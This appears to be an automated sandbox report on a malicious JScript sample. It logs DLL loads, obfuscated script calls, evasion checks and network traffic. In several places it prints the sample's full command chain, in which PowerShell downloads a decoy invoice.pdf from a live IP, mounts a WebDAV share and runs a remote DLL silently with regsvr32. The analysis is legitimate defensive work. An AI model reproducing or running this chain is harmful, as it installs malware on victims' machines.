Source: C:\Windows\System32\svchost.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: appxdeploymentclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmauto.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dsrole.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: pcwum.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msv1_0.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntlmshared.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptdll.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rmclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: usermgrcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: twinapi.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: resourcepolicyclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vssapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vsstrace.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samlib.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: es.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mpr.dll	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{f414c260-6ac0-11cf-b6d1-00aa00bbbb58}\InprocServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Jump to behavior

Data Obfuscation

JScript performs obfuscated calls to suspicious functions

Source: C:\Windows\System32\wscript.exe

Anti Malware Scan Interface: WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IHost.CreateObject("Scripting.FileSystemObject");IFileSystem3.CreateTextFile("Z:\syscalls\1444.js.csv");ITextStream.WriteLine(" entry:7588 f:hyptlz");ITextStream.WriteLine(" exec:2 f:hyptlz");IHost.Name();ITextStream.WriteLine(" entry:38 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IWshShell3._00000000();ITextStream.WriteLine(" exit:36 o: f:RegRead r:%2200000C00%22");ITextStream.WriteLine(" entry:16 o: f:parseInt a0:%2200000C00%22 a1:16");ITextStream.WriteLine(" exit:16 o: f:parseInt r:3072");IHost.Name();ITextStream.WriteLine(" entry:306 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:306 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:304 o: f:run a0:%22cmd%20%2Fc%20powershell.exe%20-Command%20%22Invoke-WebRequest%20-OutFile%20%25temp%25%5Cinvoice.pdf%20http%3A%2F%2F193.143.1.205%2Finvoice.php%22%26%26start%20%25temp%25%5Cinvoice.pdf%26%26cmd%20%2Fc");IWshShell3.Run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.", "0", "false")

Suspicious powershell command line found

Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"			Jump to behavior

Hooking and other Techniques for Hiding and Protection

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49731 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 49731

Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Windows Scripting host checks user region and language preferences

Source: C:\Windows\System32\wscript.exe

COM call: HKEY_CURRENT_USER\Control Panel\International\Locale

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior

Source: C:\Windows\System32\wscript.exe

Window found: window name: WSH-Timer

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4557			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 5282			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7864	Thread sleep count: 4557 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7864	Thread sleep count: 5282 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7920	Thread sleep time: -13835058055282155s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7956	Thread sleep time: -1844674407370954s >= -30000s	Jump to behavior
Source: C:\Windows\System32\net.exe TID: 8140	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\svchost.exe TID: 5544	Thread sleep time: -30000s >= -30000s	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File opened: PhysicalDrive0

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior

Source: net.exe, 00000006.00000002.1748759674.000001CE8E488000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000006.00000002.1748759674.000001CE8E4F1000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000008.00000002.2976395304.000002913A82A000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000008.00000002.2977549930.000002913FC59000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: Hyper-V RAW

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\53412407419332.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\53412407419332.dll
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\53412407419332.dll			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information

Gathers information about network shares

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\53412407419332.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\53412407419332.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
